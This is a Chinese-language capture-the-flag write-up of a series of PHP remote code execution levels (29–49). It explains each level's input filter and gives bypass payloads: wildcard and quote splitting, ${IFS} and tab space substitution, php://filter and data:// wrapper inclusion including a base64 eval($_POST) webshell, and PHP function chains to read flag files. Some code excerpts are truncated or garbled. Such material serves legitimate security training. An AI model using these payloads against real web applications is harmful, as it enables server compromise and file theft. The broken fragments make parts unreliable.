目录
什么是RCE?
漏洞介绍
漏洞分类
远程命令执行
29关
30关
31关
32~36关
37关
38关
39关
40关
41关
42关
43关
44关
45关
46~49关
总结
实际上,RCE主要是remote code execute(远程代码执行)和remote command execute(远程命令执行)的缩写,但有时把文件包含漏洞也归为其中。
命令执行和代码执行的联系及区别
这两者的区别主要在于命令执行是调用操作系统命令进行执行,而代码执行是调用服务器网站的代码进行执行。
但代码执行在利用过程中往往会通过调用网站代码去执行系统命令,两者是相互联系的,故统一归类于RCE。
介绍
一、定义及原理
远程命令执行,顾名思义就是可以远程执行系统命令。
该漏洞的出现是由于应用系统从设计上需要给用户提供指定的远程命令操作的接口,例如在防火墙的WEB界面中会存在一个故障排除功能,里面就会存在类似Ping操作的界面,若设计者未针对这类功能进行严格的控制检测,则可能导致攻击者提交恶意命令,从而控制后台,控制服务器。
简单来说,根据设计需求,有时会允许用户执行系统命令,要是不对用户的行为进行限制,用户就可以随意执行系统命令,造成危害,这就是远程命令执行。
二、成因
代码层过滤不严
系统的漏洞造成命令注入
调用的第三方组件存在代码执行漏洞常见的命令执行函数
PHP:exec、shell_exec、system、passthru、popen、proc_open等
ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等
三、漏洞检测
漏洞常常出现在网络设备、安全设备、自动化运维平台上面。往往在有需求的地方,出现RCE的概率较大,这里的有需求指的是有用户执行系统命令的需求。
白盒:可以对代码进行审计。
黑盒:可以使用一些漏扫工具、公开的漏洞、手工看功能点及参数值,其中参数值主要需要看是否和相关的漏洞函数有关,若有就可以进行测试,但是可能存在加密的情况,那么还需要进行解密。
代码核心:
分析:
c
存在时,程序会直接用 eval($c)
执行传入的PHP代码。/flag/i
会对传入字符串进行匹配,凡是包含 “flag” 字符串(不区分大小写)的,都不允许执行。system("ls")
列出目录。cat fla*
会匹配出 “flag” ,所以给出了变形payload:
?c=system("cp fla?.php 1.txt")
(利用通配符 ?
替代部分字符)?c=system("cat *php >> 1.txt")
(利用文件通配符,将所有PHP文件内容输出到1.txt中)。这种绕过方式利用了过滤字符串的不完整匹配,避免直接出现“flag”而达到读取目标文件的目的。
代码核心:
分析:
?c=echo
ls 可以绕过,但尝试 `?c=echo `cat fl*
就可能因“cat”或“fl*”中的隐含字符被识别而失败。?c= echo tac fl'ag'.p'hp'
绕过思路:
将敏感关键字用引号、拼接或其他字符分割,使得正则表达式无法一次性匹配完整的敏感字符串,从而让恶意代码得以执行。
代码核心:
分析:
方法一 – 寻找其他命令执行函数:
passthru()
替代 system()。例如:?c=passthru($_GET[a]);&a=cat flag.php
%09
(TAB)、${IFS}
、%20
等替代,绕过空格过滤。方法二 – 利用PHP内置函数:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
scandir()
列目录、array_reverse()
反转数组,再调用 next()
获取最后一个元素,从而间接获取文件内容。总结:
这一关的思路在于面对更多字符的限制,通过替换字符(如空格替代)、使用其他命令以及利用PHP函数链达到绕过过滤,进而执行目标命令。
代码核心:
分析:
${IFS}
或 URL编码 %0a
(换行符也能起到分隔作用)来替代空格。?>
来退出 PHP 模式,从而达到分隔代码的目的。include
可以写成 include $_GET[a]
而不使用括号。$
)时需要小心转义。具体payload示例:
?c=include%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
这里使用 %0a
替换空格,并利用 include 的无括号写法绕过了括号的限制,同时用 php://filter 进行 base64 编码读取 flag 文件内容。代码解析:
主要功能:
程序检查是否传入了 GET 参数 c
,若存在,则使用 include($c)
将指定文件包含进来,并接着输出变量 $flag
(通常在 flag.php
中定义)。
过滤策略:
正则 /flag/i
禁止传入参数中含有 “flag” 字符串。也就是说,直接在参数中出现 “flag” 会被拦截。
利用思路:
data://
流包装器,可以构造一个伪造的文件路径,直接将包含恶意 PHP 代码的字符串“当作文件”进行包含。data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
形式传入,其中内容是 base64 编码的 PHP 代码;?c=data://text/plain,=system("tac f*");?>
,利用 tac
命令逆序查看文件内容。这种方式允许攻击者绕过对 “flag” 关键词的简单过滤,从而包含并执行任意 PHP 代码。
代码解析:
新增过滤:
除了 “flag” 外,还同时过滤了 “php” 和 “file” 三个关键字。这使得直接利用包含 php://
或带有 “file” 的路径(如 file://
)的方法变得不可行。
利用思路:
data://
流,但需要注意不能包含被过滤的字符串。总体来说,这一关相比37关进一步收紧了对常用协议或标识符的限制,要求payload构造时需要避开更多关键词。
?c=data://text/plain,=system("tac f*");?>或者日志包含
代码解析:
变化说明:
与37关类似,但在包含时自动在传入参数后拼接了 “.php”。这意味着攻击者传入的参数会被当作文件名的前缀。
利用思路:
data://
流包装器来构造一个合法的文件内容,同时利用某种技巧使得最终文件内容能被正确解析(例如利用注释或特定的编码手法)。此关主要的防护点仍在于过滤 “flag”,但自动拼接扩展名给利用者带来额外限制,需要针对性地构造payload。
?c=data://text/plain,=system("tac *");?>
代码解析:
|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?c=print_r(get_defined_vars());
#打印当前定义的变量
#POST一个键值对再打印
?c=print_r(get_defined_vars());
post:1=system("ls");
#获得了传入的值
?c=print_r(array_pop(next(get_defined_vars())));
post:1=system("ls");
#执行值
?c=eval(array_pop(next(get_defined_vars())));
post:1=system("ls");
payload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
current() :返回数组中的当前元素的值;默认取第一个值
pos():current() 的别名
reset() 将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。
array_reverse():数组逆序
(如果不是数组的最后一个或者倒数第二个呢?我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组)
scandir():列出指定路径中的文件和目录
next():函数将内部指针向前移动一位即指向数组中的下一个元素,并输出这个元素。
查看当前目录下文件
?c=print_r(scandir(dirname(__FILE__)));
找到flag.php
?c=print_r(next(array_reverse(scandir(dirname(__FILE__)))));
高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
scandir(dirname(__FILE__))
列出当前目录文件,再通过 array_reverse
和 next
函数操作获取目标文件(如 flag.php
)。get_defined_vars()
),然后从中提取并执行传入的值,实现间接代码执行。通过这种思路,攻击者可以在不直接使用敏感字符的前提下,构造出能够间接读取或显示文件内容的代码。
代码解析:
执行逻辑:
c
,并用 eval("echo($c);");
来执行传入的表达式。过滤策略:
正则过滤掉了所有的数字(0-9)、小写字母(a-z)以及一些特殊字符(如 ^、+、~、$、[、]、{、}、&、-)。
利用思路:
代码核心:
/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
分析:
system()
执行 GET 参数 c
中传入的命令,并将标准输出和错误输出重定向到 /dev/null
(不显示)。tac *
之类的命令即可。例如:
?c=tac *%0a
或 ?c=tac *;
tac f*
的变种(有时会结合其他逻辑符,如 他才tac %26
或 tac ||
)。代码核心:
/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
分析:
;
)和关键字 cat
(不区分大小写)。cat
查看文件内容。tac
来逆序查看文件,或者使用其他系统命令。||
)等手段拼凑出有效payload。代码核心:
/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
分析:
cat
外,额外过滤了 flag
关键字。tac f''l""ag.php
),让正则无法匹配完整的 “flag” 字符串。代码核心:
/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
分析:
%09
(TAB)、${IFS}
、%20
(URL编码空格)等都可以替代空格,从而达到拼接命令的目的。?c=tac%09f*||
或 ?c=tac${IFS}f*||
代码核心:
/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
分析:
[0-9]
、美元符号 $
、星号 *
more
、less
、head
、sort
、tail
、sed
、cut
、awk
、strings
、od
、curl
${IFS}
或 %09
)等手段来构造出可执行的命令。?c=tac%09fla%3f.php%0a
,其中 %09
用来替代空格,%3f
(问号)用来拆分文件名,使得正则无法匹配完整的 “flag” 字符串。fl''ag.php
、fl\ag.php
或用反引号替换组合等)。29关 提供了最基础的 eval 执行环境,仅过滤“flag”,可以通过拼凑命令实现文件操作。
30关 在此基础上额外屏蔽了 system 和 php,迫使利用者将敏感字符串分割成无害片段(如使用单引号拆分)。
31关 进一步禁用了更多常用命令和字符,要求攻击者寻找其他命令执行函数或利用PHP函数链进行间接调用。
32~36关 则构成了一个高度受限的执行环境,屏蔽了几乎所有常见的字符和命令调用手段,此时只能借助替代空格、替换分号以及无括号调用等技巧来绕过过滤。
37关: 通过 include
文件实现代码执行,利用 data://
流包装器来绕过 “flag” 关键词的简单过滤,从而包含恶意代码。
38关: 在37关的基础上进一步限制了关键词,要求payload在构造时避开 “php” 和 “file” 等标识符,利用方式类似但更为细致。
39关: 自动在传入参数后追加“.php”,需要攻击者在payload构造时考虑扩展名拼接的影响,同样可以利用数据流包装器来构造有效payload。
40关: 对传入的字符串进行了极为严格的字符过滤,使得常见的命令和函数调用都被屏蔽。攻击者需要利用 PHP 内置的目录扫描和数组操作函数链来间接获取文件内容或执行命令。
41关: 通过 POST 方式传入参数,并利用 eval("echo($c);")
执行。由于过滤掉了所有数字和小写字母,攻击者需要利用“字符拼接”或其他技术构造出所需的代码字符串,达到绕过过滤并执行任意代码的目的。
42关 允许直接使用 system()
执行传入命令,攻击者可以直接利用未受限制的命令调用。
43关 开始对命令中的分号和 cat
关键词做过滤,迫使攻击者利用其他命令(如 tac
)或编码手段绕过限制。
44关 在原有基础上进一步限制包含 flag
关键字,利用者需要通过分割或混淆文件名来绕过正则检测。
45关 除了前面的敏感字符外,还过滤了空格,必须使用空格替代字符如 %09
或 ${IFS}
等技巧来重构合法命令。
46~49关 则构造了极其严格的命令过滤环境,不仅禁用了常见的敏感字符和关键词,还限制了数字、美元符号、常用文件操作命令等,迫使攻击者只能通过细致的字符拼接、URL编码和利用替代符号来绕过过滤,从而达到执行命令的目的。